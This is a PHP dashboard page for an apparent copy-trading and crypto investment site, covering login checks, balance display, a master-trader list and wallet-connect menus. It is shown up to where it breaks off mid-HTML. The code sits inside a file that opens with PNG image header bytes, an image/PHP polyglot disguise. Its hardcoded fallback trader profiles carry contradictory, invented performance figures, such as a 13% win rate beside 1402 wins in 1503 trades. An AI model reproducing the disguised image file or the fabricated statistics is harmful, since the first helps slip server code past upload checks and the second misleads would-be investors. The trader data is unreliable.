PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}
require_once('includes/connect.php');
require_once('includes/functions.php');
// Handle Logout
if (isset($_GET['l'])) {
logout();
echo "<script>alert('Logged out successfully.'); window.location.href='https://dashboard.com';</script>";
exit();
}
// Authentication Check
if (!isset($_SESSION['Email'])) {
echo "<script>
alert('ERROR: You are not logged in. Session Email is missing. Redirecting to login...');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Generate CSRF Token for Security
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Fetch User Data
$user = GetMember1($_SESSION['Email']);
if (!$user) {
echo "<script>
alert('ERROR: Could not find user in the database.');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Setup View Variables
$userId = $user['ID'];
$userCapital = floatval($user['Capital']);
$userProfit = floatval($user['Profit']);
$totalBalance = $userCapital + $userProfit;
$currencySymbol = htmlspecialchars($user['sym']);
$userName = htmlspecialchars($user['Uname']);
$userFullName = htmlspecialchars($user['full_name']);
$isVerified = isset($user['is_verified']) && $user['is_verified'] == 1;
$userReferralCode = isset($user['referral_code']) && !empty($user['referral_code']) ? htmlspecialchars($user['referral_code']) : 'GENERATE_CODE';
$referralRewards = isset($user['referral_rewards']) ? floatval($user['referral_rewards']) : 0.00;
// Create Avatar Initials
$nameParts = explode(' ', $userFullName);
$avatarInitials = '';
if (count($nameParts) >= 2) {
$avatarInitials = strtoupper(substr($nameParts[0], 0, 1) . substr($nameParts[1], 0, 1));
} else {
$avatarInitials = strtoupper(substr($userName, 0, 2));
}
// FETCH TRANSACTIONS STATS
$totalDeposits = 0.00;
$totalWithdrawals = 0.00;
try {
$stmtStats = $conn->prepare("SELECT type, SUM(amount) FROM transactions WHERE user_id = ? AND status = 'COMPLETED' GROUP BY type");
if ($stmtStats) {
$stmtStats->bind_param("i", $userId);
$stmtStats->execute();
$resultStats = $stmtStats->get_result();
while ($row = $resultStats->fetch_row()) {
if ($row[0] === 'DEPOSIT') $totalDeposits = $row[1];
if ($row[0] === 'WITHDRAWAL') $totalWithdrawals = $row[1];
}
$stmtStats->close();
}
} catch (Exception $e) {}
// ---------------------------------------------------------
// 1. FETCH AVAILABLE MASTER TRADERS
// ---------------------------------------------------------
$masterTraders = [];
try {
$traderQuery = $conn->query("SELECT * FROM copy_traders WHERE status = 'active' ORDER BY profit_share DESC");
if ($traderQuery) {
while ($row = $traderQuery->fetch_assoc()) {
$masterTraders[$row['id']] = $row;
}
}
} catch (Exception $e) {}
// Fallback if table doesn't exist or is empty
if(empty($masterTraders)){
$masterTraders = [
['id'=>1, 'name'=>'CrisyTheDon', 'avatar_url'=>'../../../uploads_avatars/avatar_1772129463_69a08cb7c8a6b.jpeg', 'win_rate'=>13.00, 'profit_share'=>15, 'wins'=>1402, 'losses'=>101, 'trades'=>1503, 'min_startup'=>1000.00, 'followers'=>29900],
['id'=>2, 'name'=>'FX Alex G', 'avatar_url'=>'../../../uploads_avatars/avatar_1768733151_696cb9dfbab59.png', 'win_rate'=>7.00, 'profit_share'=>30, 'wins'=>1196, 'losses'=>111, 'trades'=>1307, 'min_startup'=>2000.00, 'followers'=>17654],
['id'=>3, 'name'=>'TJR', 'avatar_url'=>'../../../uploads_avatars/avatar_1768733531_696cbb5ba92f2.jpeg', 'win_rate'=>7.00, 'profit_share'=>30, 'wins'=>1744, 'losses'=>143, 'trades'=>1887, 'min_startup'=>3000.00, 'followers'=>17666],
['id'=>4, 'name'=>'Tori Trades', 'avatar_url'=>'../../../uploads_avatars/avatar_1768733604_696cbba45c1f4.jpeg', 'win_rate'=>6.00, 'profit_share'=>25, 'wins'=>512, 'losses'=>13, 'trades'=>525, 'min_startup'=>2500.00, 'followers'=>14737],
['id'=>5, 'name'=>'Trades By Sci', 'avatar_url'=>'../../../uploads_avatars/avatar_1768733266_696cba52a7a3f.jpg', 'win_rate'=>9.60, 'profit_share'=>30, 'wins'=>1001, 'losses'=>103, 'trades'=>1104, 'min_startup'=>3000.00, 'followers'=>20657]
];
}
// ---------------------------------------------------------
// 2. FETCH USER'S ACTIVE COPY TRADES
// ---------------------------------------------------------
$userCopyTrades = [];
$activeCopyCount = 0;
try {
$stmtHistory = $conn->prepare("
SELECT uc.*, ct.name as trader_name, ct.avatar_url
FROM user_copy_trades uc
JOIN copy_traders ct ON uc.trader_id = ct.id
WHERE uc.user_id = ?
ORDER BY uc.created_at DESC
");
if ($stmtHistory) {
$stmtHistory->bind_param("i", $userId);
$stmtHistory->execute();
$resHistory = $stmtHistory->get_result();
while ($row = $resHistory->fetch_assoc()) {
$userCopyTrades[] = $row;
if ($row['status'] === 'ACTIVE') {
$activeCopyCount++;
}
}
$stmtHistory->close();
}
} catch (Exception $e) {}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
<title>Copytrading - Your Platform</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
.verified-link { color: #26A69A; font-size: 0.85rem; font-weight: 500;}
.not-verified-link { color: #EF5350; font-size: 0.85rem; font-weight: 500;}
/* ========================================= */
/* MOBILE SIDEBAR MENU CSS */
/* ========================================= */
@media (max-width: 768px) {
.sidebar {
transition: left 0.3s ease;
}
.sidebar.open {
left: 0 !important;
}
}
/* ========================================= */
/* MODALS AND OVERLAYS CSS (From index.php) */
/* ========================================= */
.notifications-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 2000; opacity: 0; visibility: hidden; transition: 0.3s; background: rgba(0,0,0,0.6); display: flex; align-items: center; justify-content: center;}
.notifications-overlay.open { opacity: 1; visibility: visible; }
.notifications-panel { position: fixed; top: 0; right: 0; width: 100%; max-width: 400px; height: 100%; background: #1a1d21; transform: translateX(100%); transition: 0.3s; z-index: 2001; display:flex; flex-direction:column; border-left:1px solid #333;}
.notifications-overlay.open .notifications-panel { transform: translateX(0); }
.notifications-header { display: flex; justify-content: space-between; align-items: center; padding: 20px; border-bottom: 1px solid #333; }
.notifications-header h2 { margin:0; font-size:1.2rem; color:#fff;}
.panel-btn { background: none; border: none; color: #aaa; cursor: pointer; display: flex; align-items: center; padding: 4px; }
.panel-btn:hover { color: #fff; }
.panel-btn svg { width: 24px; height: 24px; }
.notifications-body, .wallet-body, .wallet-form-body, .referrals-body { flex-grow: 1; overflow-y: auto; padding: 20px; }
.notification-bell-wrapper { position: relative; display: inline-flex; }
.notification-count-badge { position: absolute; top: 0; right: 0; background-color: #e74c3c; color: white; font-size: 11px; font-weight: bold; width: 18px; height: 18px; border-radius: 50%; display: none; align-items: center; justify-content: center; border: 2px solid #101215; transform: translate(40%, -40%);}
/* Connect Wallet Modals */
.wallet-item { display: flex; align-items: center; justify-content: space-between; padding: 15px; background: #2c3036; border-radius: 8px; border: 1px solid #444; margin-bottom: 10px; cursor: pointer; transition: 0.2s;}
.wallet-item:hover { background: #353a41; }
/* COPY TRADING SPECIFIC CSS */
.copy-trading-section { padding: 24px; }
.copy-trading-title { font-size: 1.5rem; font-weight: 600; color: #fff; margin-bottom: 20px; }
.investing-tabs { display: flex; border-bottom: 1px solid #2d3038; }
.investing-tab-item { padding: 12px 4px; margin-right: 24px; background: none; border: none; border-bottom: 2px solid transparent; color: #8a8d97; cursor: pointer; font-size: 1rem; font-weight: 500; }
.investing-tab-item.active { color: #fff; border-bottom-color: #31acee; }
.tab-content-wrapper { padding-top: 24px; }
.tab-panel { display: none; }
.tab-panel.active { display: block; animation: fadeIn 0.5s ease; }
@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
.experts-area-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; flex-wrap: wrap; gap:15px;}
.experts-title { font-size: 1.2rem; font-weight: 600; color: #fff; }
.assets-search-wrapper { position: relative; }
.assets-search-wrapper svg { position: absolute; left: 12px; top: 50%; transform: translateY(-50%); width: 18px; height: 18px; color: #8a8d97; }
.assets-search-wrapper input { background-color: #2c2f36; border: 1px solid #3e414b; border-radius: 8px; color: #fff; padding: 10px 10px 10px 40px; width: 100%; min-width: 250px; }
.experts-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 20px; }
.expert-card { background-color: #121417; border: 1px solid #2d3038; border-radius: 12px; padding: 16px; display: flex; flex-direction: column; }
.expert-header { display: flex; align-items: center; gap: 16px; margin-bottom: 16px; }
.expert-avatar { width: 50px; height: 50px; border-radius: 50%; object-fit: cover; }
.expert-info { display: flex; flex-direction: column; gap: 2px; }
.expert-name { font-size: 1.05rem; font-weight: 600; color: #fff; display: flex; align-items: center; }
.verified-icon { width: 16px; height: 16px; color: #31acee; margin-left: 6px; }
.expert-handle { color: #8a8d97; font-size: 0.9rem; }
.expert-followers { display: flex; align-items: center; gap: 6px; color: #8a8d97; font-size: 0.85rem; }
.expert-followers svg { width: 14px; height: 14px; }
.expert-stats-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px 16px; margin: 0 0 20px 0; padding-top: 16px; border-top: 1px solid #2d3038; }
.expert-stat-item { display: flex; flex-direction: column; gap: 4px; }
.expert-stat-item span { color: #8a8d97; font-size: 0.8rem; text-transform: capitalize; }
.expert-stat-item strong { color: #fff; font-weight: 600; font-size: 1rem; }
.expert-stat-item strong.positive { color: #26A69A; }
.expert-stat-item strong.negative { color: #EF5350; }
.expert-actions { margin-top: auto; }
.btn-invest-now { width: 100%; background-color: #31acee; color: #fff; border: none; padding: 12px; border-radius: 8px; text-align: center; font-weight: 600; cursor: pointer; font-size: 0.95rem; transition: background-color 0.2s ease; }
.btn-invest-now:hover { background-color: #2aa3e0; }
.btn-invest-now:disabled { background-color: #555; cursor: not-allowed; opacity: 0.7;}
.how-it-works-title { font-size: 1.5rem; color: #e0e0e0; margin-bottom: 24px; }
.faq-accordion { display: flex; flex-direction: column; gap: 12px; }
.faq-item { background-color: #121417; border-radius: 12px; overflow: hidden; }
.faq-question { display: flex; align-items: center; gap: 16px; padding: 16px 20px; cursor: pointer; width: 100%; color: #e0e0e0; font-size: 1rem; list-style: none; }
.faq-question::-webkit-details-marker { display: none; }
.faq-number { background-color: #2d3038; color: #a0a0b8; width: 32px; height: 32px; flex-shrink: 0; display: flex; align-items: center; justify-content: center; border-radius: 8px; font-weight: 500; }
.faq-title { flex-grow: 1; text-align: left; }
.faq-chevron { width: 20px; height: 20px; color: #a0a0b8; transition: transform 0.3s ease-in-out; }
.faq-item[open] > .faq-question .faq-chevron { transform: rotate(180deg); }
.faq-answer { padding: 0 20px 20px 68px; color: #a0a0b8; line-height: 1.6; }
/* MODAL STYLES */
.modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.7); display: none; align-items: center; justify-content: center; z-index: 2000; }
.modal-overlay.active { display: flex; }
.modal-content { background-color: #1a1c22; padding: 24px; border-radius: 12px; width: 90%; max-width: 400px; border: 1px solid #333;}
.modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 24px; color: white; }
.modal-header h2 { margin: 0; font-size: 1.2rem;}
.modal-close-btn { background: none; border: none; color: white; font-size: 2rem; cursor: pointer; line-height: 1; }
.form-group { margin-bottom: 20px; }
.modal-label { display: block; color: #a0a0b8; font-size: 14px; margin-bottom: 8px; }
.modal-input { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; }
.modal-textarea { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; height: 120px; resize: vertical; }
.balance-info { display: flex; justify-content: space-between; font-size: 14px; color: #a0a0b8; margin-top: -12px; margin-bottom: 20px; }
.btn-primary-markets { width: 100%; padding: 14px; background-color: #31acee; color: white; border: none; border-radius: 8px; cursor: pointer; font-weight: 600; }
/* TABLE STYLES */
.table-responsive { width: 100%; overflow-x: auto; -webkit-overflow-scrolling: touch; }
.table { width: 100%; border-collapse: collapse; }
.table th, .table td { padding: 12px; text-align: left; color: #fff; border-bottom: 1px solid #333; white-space: nowrap; }
@media (max-width: 768px) {
.table thead { display: none; }
.table, .table tbody, .table tr, .table td { display: block; width: 100%; }
.table tr { background-color: #1a1d21; border: 1px solid #333; border-radius: 10px; margin-bottom: 12px; padding: 10px 12px; }
.table td { padding: 8px 0; text-align: right; position: relative; border: none; white-space: normal; }
.table td::before { content: attr(data-label); position: absolute; left: 0; width: 50%; padding-left: 8px; text-align: left; color: #8a8d97; font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.5px; }
.table td:last-child { padding-bottom: 12px; }
}
</style>
</head>
<body class="dashboard-page">
<div class="dashboard-container">
<aside class="sidebar" id="sidebar">
<div class="mobile-menu-header">
<a href="kyc_front.php" class="user-profile-link">
<div class="user-avatar"><?php echo $avatarInitials; ?></div>
<div class="user-info">
<span class="user-name"><?php echo $userName; ?></span>
<?php if($isVerified): ?>
<span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
<?php else: ?>
<span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
<?php endif; ?>
</div>
</a>
<div class="menu-controls">
<button id="close-menu-btn" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" width="24" height="24"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg>
</button>
</div>
</div>
<div class="sidebar-header">
<svg class="logo" width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2.66663L29.3333 29.3333H2.66667L16 2.66663Z" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M11.3333 18.6666L20.6667 18.6666" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<nav class="sidebar-nav">
<ul>
<li class=""><a href="index.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 12l8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.125c0 .621.504 1.125 1.125 1.125H9.75v-4.875c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125V21h4.125c.621 0 1.125-.504 1.125-1.125V9.75M8.25 21h7.5" /></svg>Dashboard</a></li>
<li class=""><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v6m3-3H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Deposit</a></li>
<li class=""><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15 12H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Withdraw</a></li>
<li class=""><a href="assets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 8.25h19.5M2.25 9h19.5m-16.5 5.25h6m-6 2.25h3m-3.75 3h15a2.25 2.25 0 002.25-2.25V6.75A2.25 2.25 0 0019.5 4.5h-15a2.25 2.25 0 00-2.25 2.25v10.5A2.25 2.25 0 004.5 21z" /></svg>Assets</a></li>
<li class=""><a href="markets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Markets</a></li>
<li class=""><a href="mining.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M5.25 14.25h13.5m-13.5 0a3 3 0 01-3-3V7.5a3 3 0 013-3h13.5a3 3 0 013 3v3.75a3 3 0 01-3 3m-13.5 0h13.5m-13.5 0a3 3 0 00-3 3v.75a3 3 0 003 3h13.5a3 3 0 003-3v-.75a3 3 0 00-3-3m-3.75-9H15m-3.75 3h3.75" /></svg>Mining</a></li>
<li class=""><a href="trade.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 18L9 11.25l4.306 4.307a11.95 11.95 0 015.814-5.519l2.74-1.22m0 0l-5.94-2.28m5.94 2.28l-2.28 5.941" /></svg>Trade</a></li>
<li class=""><a href="realestate.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 21h16.5M4.5 3h15M5.25 3v18m13.5-18v18M9 6.75h1.5m-1.5 3h1.5m-1.5 3h1.5m3-6h1.5m-1.5 3h1.5m-1.5 3h1.5M9 21v-3.375c0-.621.504-1.125 1.125-1.125h3.75c.621 0 1.125.504 1.125 1.125V21" /></svg>Real Estate</a></li>
<li class=""><a href="subscribe.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M10.5 6h9.75M10.5 6a1.5 1.5 0 11-3 0m3 0a1.5 1.5 0 10-3 0M3.75 6H7.5m3 12h9.75m-9.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-3.75 0H7.5m9-6h3.75m-3.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-9.75 0h9.75" /></svg>Subscribe</a></li>
<li class=""><a href="signals.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M8.288 15.038a5.25 5.25 0 017.424 0M5.106 11.856c3.807-3.808 9.98-3.808 13.788 0M1.924 8.674c5.565-5.565 14.587-5.565 20.152 0M12.53 18.22l-.53.53-.53-.53a.75.75 0 011.06 0z" /></svg>Signals</a></li>
<li class=""><a href="stake.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M16.023 9.348h4.992v-.001M2.985 19.644v-4.992m0 0h4.992m-4.993 0l3.181 3.183a8.25 8.25 0 0011.667 0l3.181-3.183m-4.991-2.691L7.98 12.01M16.023 9.348a8.25 8.25 0 01-11.667 0L2.985 7.981m13.038 0l-3.181-3.182m0 0a8.25 8.25 0 0111.667 0l3.181 3.182" /></svg>Stake</a></li>
<li><a href="#" id="open-wallet-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M13.19 8.688a4.5 4.5 0 011.242 7.244l-4.5 4.5a4.5 4.5 0 01-6.364-6.364l1.757-1.757m13.35-.622l1.757-1.757a4.5 4.5 0 00-6.364-6.364l-4.5 4.5a4.5 4.5 0 001.242 7.244" /></svg>Connect wallet</a></li>
<li class="active"><a href="copytrading.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 17.25v3.375c0 .621-.504 1.125-1.125 1.125h-9.75a1.125 1.125 0 01-1.125-1.125V7.875c0-.621.504-1.125 1.125-1.125H6.75a9.06 9.06 0 011.5.124m7.5 10.376h3.375c.621 0 1.125-.504 1.125-1.125V11.25c0-4.46-3.243-8.161-7.5-8.876a9.06 9.06 0 00-1.5-.124H9.375c-.621 0-1.125.504-1.125 1.125v3.5m7.5 10.375H9.375a1.125 1.125 0 01-1.125-1.125v-9.25m12 6.625v-1.875a3.375 3.375 0 00-3.375-3.375h-1.5a1.125 1.125 0 01-1.125-1.125v-1.5a3.375 3.375 0 00-3.375-3.375H9.75" /></svg>Copy trading</a></li>
<li><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 01-10.563-10.563c-.09.542-.56 1.007-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
<li><a href="logout.php" id="logout-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6m0 0v6m0-6h6m-6 0H6" /><circle cx="12" cy="12" r="9" stroke-width="1.5" stroke="currentColor" fill="none" /></svg>Logout</a></li>
</ul>
</nav>
<div class="sidebar-footer">
<a href="kyc_front.php" class="user-profile-link">
<div class="user-avatar"><?php echo $avatarInitials; ?></div>
<div class="user-info">
<span class="user-name"><?php echo $userName; ?></span>
<?php if($isVerified): ?>
<span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
<?php else: ?>
<span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
<?php endif; ?>
</div>
</a>
</div>
</aside>
<div class="main-content">
<header class="main-header">
<button class="hamburger-menu" id="hamburger-menu" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" width="24" height="24">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
</svg>
</button>
<div class="header-title">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="icon">
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 17.25v3.375c0 .621-.504 1.125-1.125 1.125h-9.75a1.125 1.125 0 01-1.125-1.125V7.875c0-.621.504-1.125 1.125-1.125H6.75a9.06 9.06 0 011.5.124m7.5 10.376h3.375c.621 0 1.125-.504 1.125-1.125V11.25c0-4.46-3.243-8.161-7.5-8.876a9.06 9.06 0 00-1.5-.124H9.375c-.621 0-1.125.504-1.125 1.125v3.5m7.5 10.375H9.375a1.125 1.125 0 01-1.125-1.125v-9.25m12 6.625v-1.875a3.375 3.375 0 00-3.375-3.375h-1.5a1.125 1.125 0 01-1.125-1.125v-1.5a3.375 3.375 0 00-3.375-3.375H9.75" />
</svg>
<h1>Copy trading</h1>
</div>
<div class="header-controls">
<button class="balance-selector" id="balance-selector-btn">
<span><?php echo $currencySymbol; ?></span> <span id="user-balance-display"><?php echo number_format($totalBalance, 2); ?></span><span class="real-text">REAL</span>
</button>
<div class="notification-bell-wrapper">
<button class="icon-btn" id="open-notifications-btn">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M14.857 17.082a23.848 23.848 0 005.454-1.31A8.967 8.967 0 0118 9.75v-.7V9A6 6 0 006 9v.75a8.967 8.967 0 01-2.312 6.022c1.733.64 3.56 1.085 5.455 1.31m5.714 0a24.255 24.255 0 01-5.714 0m5.714 0a3 3 0 11-5.714 0" /></svg>
</button>
<span id="notification-count-badge" class="notification-count-badge" style="display:none;">0</span>
</div>
<div class="user-avatar header-avatar" id="user-menu-btn"><?php echo $avatarInitials; ?></div>
<div class="user-account-panel" id="user-account-panel">
<header class="account-panel-header">
<div class="account-panel-title-section"><button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button><h2>Your account</h2></div>
<button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="account-panel-body">
<div class="account-panel-main">
<a href="kyc_front.php" class="user-profile-link">
<div class="user-avatar"><?php echo $avatarInitials; ?></div>
<div class="user-info">
<span class="user-name"><?php echo $userName; ?></span>
<?php if($isVerified): ?>
<span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
<?php else: ?>
<span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
<?php endif; ?>
</div>
</a>
<div class="account-summary">
<h3>Account Summary</h3>
<div class="summary-row">
<span class="summary-label">Total Deposits</span>
<span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalDeposits, 2); ?></span>
</div>
<div class="summary-row">
<span class="summary-label">Total Withdrawals</span>
<span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalWithdrawals, 2); ?></span>
</div>
</div>
</div>
<div class="account-panel-actions">
<ul class="actions-list-desktop">
<li><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" /></svg>Add funds</a></li>
<li><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 12h-15" /></svg>Withdraw</a></li>
<li><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
<li class="logout-item"><a href="logout.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0013.5 3h-6a2.25 2.25 0 00-2.25 2.25v13.5A2.25 2.25 0 007.5 21h6a2.25 2.25 0 002.25-2.25V15m3 0l3-3m0 0l-3-3m3 3H9" /></svg>Log out</a></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<main class="content-grid">
<section class="card copy-trading-section" style="grid-column: 1 / -1;">
<div class="investing-tabs">
<button class="investing-tab-item active" data-tab-target="experts">Top experts</button>
<button class="investing-tab-item" data-tab-target="portfolio">Your Portfolio</button>
<button class="investing-tab-item" data-tab-target="how-it-works">How it works</button>
</div>
<div class="tab-content-wrapper">
<div class="tab-panel active" data-tab-content="experts">
<div class="experts-content-area">
<div class="experts-area-header">
<h4 class="experts-title">Top experts</h4>
<div class="assets-search-wrapper">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path></svg>
<input type="text" id="expert-search-input" placeholder="Search for experts">
</div>
</div>
<div class="experts-grid" id="experts-grid-container">
<?php foreach($masterTraders as $trader):
// THIS FIXES THE BROKEN IMAGE PATH AUTOMATICALLY
$avatarPath = $trader['avatar_url'];
if (strpos($avatarPath, 'uploads_avatars') === 0) {
$avatarPath = '../../../' . $avatarPath;
}
?>
<div class="expert-card">
<div class="expert-header">
<img src="<?php echo htmlspecialchars($avatarPath); ?>" alt="<?php echo htmlspecialchars($trader['name']); ?>" class="expert-avatar">
<div class="expert-info">
<div class="expert-name">
<?php echo htmlspecialchars($trader['name']); ?>
<svg class="verified-icon" viewBox="0 0 24 24" fill="currentColor"><path d="M10,17L5,12L6.41,10.58L10,14.17L17.59,6.58L19,8M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"></path></svg>
</div>
